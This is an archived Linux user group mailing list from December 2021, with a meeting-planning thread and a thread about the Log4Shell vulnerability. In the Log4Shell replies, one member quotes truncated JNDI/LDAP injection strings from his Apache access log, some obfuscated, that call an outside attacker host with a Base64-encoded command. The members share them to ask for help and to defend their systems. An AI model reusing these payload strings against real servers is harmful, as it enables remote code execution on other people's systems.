December 2021 - WLUG - wlug.mailman3.com

Re: Bug in the news

by Joseph G

Here's a good read on log4shell... https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ and an ongoing list of vendor responses.... https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 It's bound to bring us 'joy' in the holiday season and beyond! Joe

Dec. 15, 2021

Re: Bug in the news

by Charles R. Anderson, Jr.

This might be able to find out if your system has any traces of log4j installed: sudo find / -name '*log4j*' -print If that doesn't output anything, you are most likely safe. ________________________________ From: Chris Thompson via WLUG <wlug(a)lists.wlug.org> Sent: Wednesday, December 15, 2021 3:40 PM To: wlug(a)lists.wlug.org <wlug(a)lists.wlug.org> Cc: Chris Thompson <wolcen(a)riseup.net> Subject: [WLUG] Re: Bug in the news httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith

Dec. 15, 2021

Re: Bug in the news

by Chris Thompson

httpd does not use log4j. solr, on the other hand, normally does. ...and Minecraft, if that applies to your server :P ~Chris On 12/15/21 15:26, Keith Wright via WLUG wrote: > Michael Voorhis <mvoorhis(a)mcvau.net> writes: > >> Log4j is a Java logging library. >> If you're running apache and not using Java, >> I don't think you need to be concerned. >> >> See here... >> >> https://en.wikipedia.org/wiki/Log4Shell > Interesting link, thanks for that. > > I don't use Java, but is Apache using it without my knowledge? > > NB: I am a bear of little brain. -- Pooh > I can't. I don't know how it works! -- OZ > > I find in /var/log/httpd/access_log > > 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] > "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... > ... > "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: > //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... > ... > > So they are trying. How can tell if they succeeded? > > I have "gij" installed (by distro). I didn't know that two hours ago. > > What would break if I just deleted that? > > -- Keith > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/XJKAR…

Dec. 15, 2021

Re: Bug in the news

by Keith Wright

Michael Voorhis <mvoorhis(a)mcvau.net> writes: > Log4j is a Java logging library. > If you're running apache and not using Java, > I don't think you need to be concerned. > > See here... > > https://en.wikipedia.org/wiki/Log4Shell Interesting link, thanks for that. I don't use Java, but is Apache using it without my knowledge? NB: I am a bear of little brain. -- Pooh I can't. I don't know how it works! -- OZ I find in /var/log/httpd/access_log 95.54.160.149 - - [15/Dec/2021:12:59:07 -0500] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1c ... ... "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}: //195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgL ... ... So they are trying. How can tell if they succeeded? I have "gij" installed (by distro). I didn't know that two hours ago. What would break if I just deleted that? -- Keith

Dec. 15, 2021

Re: Bug in the news

by Michael Voorhis

Log4j is a Java logging library. If you're running apache and not using Java, I don't think you need to be concerned. See here... https://en.wikipedia.org/wiki/Log4Shell Dec 15, 2021 2:07:59 PM Keith Wright via WLUG <wlug(a)lists.wlug.org>: > Are we worried about Log4j / Log4shell (CVE-2021-44228)? > > I run Apache and never look at the log files. > > Where are they anyway? > Can I configure them out of existence, > or just log boring stuff? > > I don't need remote logging. > Can I just firewall packets? > > -- Keith > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/GVITN…

Dec. 15, 2021

Bug in the news

by Keith Wright

Are we worried about Log4j / Log4shell (CVE-2021-44228)? I run Apache and never look at the log files. Where are they anyway? Can I configure them out of existence, or just log boring stuff? I don't need remote logging. Can I just firewall packets? -- Keith

Dec. 15, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! I am Wiiless, but always interested techniques to run it my way. > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, > we'll head off to dinner afterwards! I notice no mention was made of > > Secondly, the meeting will also be online at our usual Jitsi location for > > people who can't make it in person. https://meet.jit.si/WlugMA I couldn't get into that the last time, but it is said by one who knows that it was working. I don't know if I will have a jit.si capable computer, but I do know that I will not be in Hudson tonight. I would like to check in. Can I assume that someone will do what someone has done to make what has happened before happen again? Or will the forgotten past be gone forever into the memory hole? -- Keith PS: https://meet.jit.si/WlugMA hereby goes viral!

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Andrew Oprea

Hi Everyone, Is the usual meet.jit.si/WlugMA going to be up for far away participants? I've also got 30 seconds of follow up about what I've learned configuring my minimalist wifi repeater. I'll gladly type it out and mail it here if a mixed mode meeting isn't the plan tonight. Thanks again for the help, Drew On Thu, Dec 9, 2021 at 2:24 PM Joshua Stone via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Tim, > > Thanks for the update! This meeting agenda looks exciting! I might get > some new inspiration for my Raspberry Pi. > > Do we have a preference for where we could eat after this meeting? Rail > Trail Flatbread seemed to work well last time, maybe we can try Less Than > Greater Than? > > https://www.lessthangreaterthan.com/eat > > - Josh > > On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody, >> >> We've got a meeting this Thursday at the Hudson Public Library! >> >> Topic: Jail breaking that Wii you've got laying around to run Linux! >> Then I'm sure it'll get even more interesting! >> I'd like to brain storm about topics we'd like to talk about next year! >> >> Ideas that have been talked about: >> 1. Pi-hole. What it is, how it works and why you want one! >> 2. Raspberry Pi clusters.. How to build one and what would you do with >> one? >> 3. Ham radio and Linux. >> >> I'll have snacks and refreshments on hand, we'll head off to dinner >> afterwards! >> Later, >> Tim. >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/JDVHP… >

Dec. 9, 2021

Re: Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Joshua Stone

Hey Tim, Thanks for the update! This meeting agenda looks exciting! I might get some new inspiration for my Raspberry Pi. Do we have a preference for where we could eat after this meeting? Rail Trail Flatbread seemed to work well last time, maybe we can try Less Than Greater Than? https://www.lessthangreaterthan.com/eat - Josh On Tue, Dec 7, 2021 at 11:50 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > We've got a meeting this Thursday at the Hudson Public Library! > > Topic: Jail breaking that Wii you've got laying around to run Linux! > Then I'm sure it'll get even more interesting! > I'd like to brain storm about topics we'd like to talk about next year! > > Ideas that have been talked about: > 1. Pi-hole. What it is, how it works and why you want one! > 2. Raspberry Pi clusters.. How to build one and what would you do with one? > 3. Ham radio and Linux. > > I'll have snacks and refreshments on hand, we'll head off to dinner > afterwards! > Later, > Tim. > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/DX7SR… >

Dec. 9, 2021

Reminder: December meeting! 12/09/2021 @7pm Hudson Public Library!

by Tim Keller

Hey Everybody, We've got a meeting this Thursday at the Hudson Public Library! Topic: Jail breaking that Wii you've got laying around to run Linux! Then I'm sure it'll get even more interesting! I'd like to brain storm about topics we'd like to talk about next year! Ideas that have been talked about: 1. Pi-hole. What it is, how it works and why you want one! 2. Raspberry Pi clusters.. How to build one and what would you do with one? 3. Ham radio and Linux. I'll have snacks and refreshments on hand, we'll head off to dinner afterwards! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Dec. 8, 2021